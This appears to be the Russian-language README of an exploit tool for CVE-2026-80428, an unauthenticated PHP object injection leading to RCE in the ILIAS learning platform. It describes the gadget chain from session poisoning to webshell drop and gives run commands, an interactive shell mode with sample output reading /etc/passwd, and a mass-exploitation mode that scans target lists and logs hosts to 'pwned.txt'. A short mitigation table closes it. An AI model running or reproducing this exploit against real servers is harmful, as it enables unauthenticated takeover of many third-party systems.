
ILIAS ≤ 9.21 / 10.9 / 11.2 — Неаутентифицированная инъекция PHP-объектов (RCE)
CVE-2026-80428Вектор: Endpoint обратного выхода Shibboleth
Воздействие: Полное удалённое выполнение кода от имени пользователя веб-сервера
Критичность: 🔴 КРИТИЧЕСКАЯ
CVE-2026-80428 — критическая уязвимость неаутентифицированной инъекции PHP-объектов, затрагивающая систему управления обучением ILIAS. Объединив примитив отравления сессии в
ltiauth.phpс небезопасным вызовомunserialize()вshib_logout.php, атакующий может добиться записи произвольных файлов и, в конечном итоге, удалённого выполнения кода (RCE) — и всё это без аутентификации.
| 🎯 Параметр | 📋 Значение |
|---|---|
| CVE ID | CVE-2026-80428 |
| Тип | Инъекция PHP-объектов → RCE |
| Требуется аутентификация | ❌ Нет |
| Вектор атаки | Сеть (HTTP/HTTPS) |
| Оценка CVSS | 9.8 (критическая) |
flowchart LR
A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
B -->|Serialized Guzzle Gadget| C[PHP Session Store]
C -->|2. Trigger unserialize| D[shib_logout.php]
D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
E -->|3. file_put_contents| F[💀 Webshell Dropped]
F -->|4. Execute| G[🔓 RCE]
style A fill:#ff4444,color:#fff
style F fill:#ff0000,color:#fff
style G fill:#8b0000,color:#fff
Пошагово:
ltiauth.php сохраняет сериализованную полезную нагрузку в сессии PHP без проверки.shib_logout.php обрабатывает специально сформированный SOAP-запрос Shibboleth LogoutNotification и вызывает unserialize() для данных сессии.GuzzleHttp\Cookie\FileCookieJar вызывает file_put_contents(), чтобы разместить PHP-веб-шелл по контролируемому атакующим пути.| 🏷️ Ветка | ❌ Уязвима | ✅ Исправлена |
|---|---|---|
| 9.x | ≤ 9.21 | ≥ 9.22 |
| 10.x | ≤ 10.9 | ≥ 10.10 |
| 11.x | ≤ 11.2 | ≥ 11.3 |
🔥 Основное
|
💎 Удобство использования
|
# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428
# Install dependencies
pip install requests urllib3
# (Optional) Make executable
chmod +x CVE-2026-80428.py
Требования:
3.8+requestsurllib3python3 CVE-2026-80428.py <mode> [options]
python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal
Опции:
| Флаг | Описание | По умолчанию |
|---|---|---|
--port | Целевой порт | 443 |
--path | Корневой каталог ILIAS на диске | /var/www/ilias/public |
--host-header | Пользовательский заголовок Host | — |
--timeout | Тайм-аут запроса (с) | 30 |
python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
ilias$ exit
python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt
Опции:
| Флаг | Описание | По умолчанию |
|---|---|---|
-l, --list | Обязательно — Файл со списком целей | — |
-t, --threads | Количество параллельных воркеров | 20 |
-o, --output | Файл для вывода уязвимых целей | ilias_vuln.txt |
--path | Корневой каталог ILIAS (docroot) | /var/www/ilias/public |
--host-header | Пользовательский заголовок Host | — |
--timeout | Тайм-аут запроса (с) | 30 |
Создайте файл targets.txt:
# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080
# Mixed formats are supported
example.org
Поддерживаемые форматы:
hosthost:porthttp://hosthttps://host:porthost/path (путь отбрасывается) [ 42/500] VULN 10.10.10.20:443 https://10.10.10.20:443/util_a1b2c3.php?x=id
[ 43/500] SAFE 10.10.10.21:443 [PATCHED]
[ 44/500] ERR 10.10.10.22:8443 [Connection timed out]
[44/500] VULN:12 SAFE:30 ERR:2 8%
Для специалистов по защите и системных администраторов:
| 🛠️ Действие | 📝 Подробности |
|---|---|
| 🔼 Обновить ILIAS | 9.22 / 10.10 / 11.3 или новее |
| 🚫 Отключить Shibboleth | Если не используется — удалите shib_logout.php |
| 🧱 Правила WAF | Блокируйте некорректные SOAP-полезные нагрузки LogoutNotification |
| 📂 Ограничить доступ на запись | Корневой каталог веб-сервера не должен быть доступен для записи пользователю www-data |
| 🔍 Мониторинг | Ищите неожиданные файлы .php в каталогах upload/cache |